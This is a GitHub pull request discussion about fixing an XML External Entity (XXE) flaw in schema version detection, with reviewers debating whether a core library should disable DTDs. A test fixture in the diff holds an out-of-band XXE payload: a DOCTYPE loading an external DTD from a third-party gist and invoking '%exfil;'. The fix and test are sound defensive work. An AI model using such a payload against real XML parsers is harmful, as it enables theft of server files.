Fix possible XXE during XML schema version detection #434
Conversation
| private List<String> extractAllNamespaceDeclarations(final InputSource in) | ||
| throws ParserConfigurationException, IOException, SAXException | ||
| { | ||
| Document doc = createSecureDocument(in); |
There was a problem hiding this comment.
This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.
There was a problem hiding this comment.
This is a good fix. However, I am not sure why a core library has to take a position to disable all use of DTD. What if an organization legitimately needs them especially for external references etc? Best to expose these as non-breaking settings and make it clear that users and applications are responsible for security and cannot offload security to core libraries.
I thought about this but then I realized this part is not doing any parsing of the content, this is to get the schema version to parse to the right version, for the deserialization we use Jackson who by default has this protection enabled FasterXML/jackson-dataformat-xml#190 so even if we wanted to do this we would need to change the default behavior of Jackson
There was a problem hiding this comment.
Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory, but defaulting to a locked-down version.
But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.
| @@ -0,0 +1,27 @@ | |||
| <?xml version="1.0" encoding="UTF-8"?> | |||
| <!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://gist.githubusercontent.com/agustin-mrtz/593ab443b77890d052e55899b16b61a8/raw/3cdd376bba0007145fa2bbacb9abe36cbd5a43ce/file.dtd"> %sp; %param1; %exfil;]> | |||
There was a problem hiding this comment.
Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?
There was a problem hiding this comment.
Is it possible to change this to some URL or local file path that is not controlled by a 3rd party?
Updated it, committed the wrong file while testing
| private List<String> extractAllNamespaceDeclarations(final InputSource in) | ||
| throws ParserConfigurationException, IOException, SAXException | ||
| { | ||
| Document doc = createSecureDocument(in); |
There was a problem hiding this comment.
Disabling it is fine and desired IMO. An alternative would be to allow users to provide their own DocumentBuilderFactory, but defaulting to a locked-down version.
But that feels like something we can think about when there's an immediate need for it, i.e. when someone needs it.
Signed-off-by: Alex Alzate <[email protected]>
|
hey @nscuro for some reason I can't reply to your last comment, I can do this in a new PR, I want to focus this on the fix, and then we can add the option to set their on |
nscuro
changed the title
|
fixes GHSA-683x-4444-jxh8 |
During some testing, it was found that the parser for XML was vulnerable to XML External Entity (XXE) Processing.
After further investigation from Sonatype team, it was found it was due to the XPath Processing done to get the schema version